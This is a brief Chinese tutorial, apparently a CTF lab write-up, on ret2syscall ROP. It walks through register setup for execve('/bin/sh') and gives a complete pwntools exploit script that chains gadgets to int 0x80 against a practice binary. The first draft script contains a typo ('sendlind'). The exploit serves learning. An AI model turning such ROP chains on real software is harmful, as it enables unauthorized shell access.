01_利用ROP-Ret2Syscall突破NX保护
ROPgadget的使用方法
程序如下
这时候我们可以写exp
from pwn import *
p = process("./ret2syscall")
offset = 112
payload = b'a' * offset
p.sendlind(payload)
p.interactive()
但是我们的NX不可执行
明确目标(组合 shellcode 的步骤)
我们需要实现一个调用 execve("/bin/sh", NULL, NULL)
的 shellcode。目标是设置以下寄存器值:
系统调用号 (eax): 设置为
0xb
,表示execve
系统调用。第一个参数 (ebx): 指向
"/bin/sh"
的地址,或者指向执行sh
的地址。第二个参数 (ecx): 设置为
0
。第三个参数 (edx): 设置为
0
。
由于无法直接在栈中写入指令,我们需要利用程序中现有的指令(如 pop
和 ret
)来逐步实现这些寄存器值的设置。
栈中数据的构造
为实现上述目标,我们可以按照以下顺序在栈中构造数据:
设置
eax
为0xb
:
找到
pop eax; ret
的指令。在栈中放置
0xb
,使pop eax; ret
执行后将eax
设置为0xb
。
设置
ebx
,ecx
, 和edx
:
找到
pop ebx; pop ecx; pop edx; ret
的指令。在栈中依次放置:
"/bin/sh"
的地址。0
(表示ecx
)。0
(表示edx
)。
触发系统调用:
找到
int 0x80
的地址,并将其放置在栈中,最后触发系统调用。
栈中数据布局示例
栈布局(从高地址到低地址):
----------------------------------
pop eax; ret
0xb
pop ebx; pop ecx; pop edx; ret
"/bin/sh" 的地址
0
0
int 0x80 的地址
----------------------------------
任务
我们需要从程序中寻找以下指令序列:
pop eax; ret
pop ebx; pop ecx; pop edx; ret
int 0x80
通过这些指令,配合精心构造的栈数据,我们可以成功实现所需的 shellcode。
继续完成我们的exp
from pwn import *
context(arch = "i386", os = "linux")
p = process("./ret2syscall")
offset = 112
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
payload = b'a' * offset + pop_eax + p32(0xb) + pop_edx_ecx_ebx + p32(0) + p32(0) + bin_sh + int_0x80
p.sendline(payload)
p.interactive()
实际上还有 leak libc + ROP
ret2csu, stack pivot, ret2dl_resolve
License:
CC BY 4.0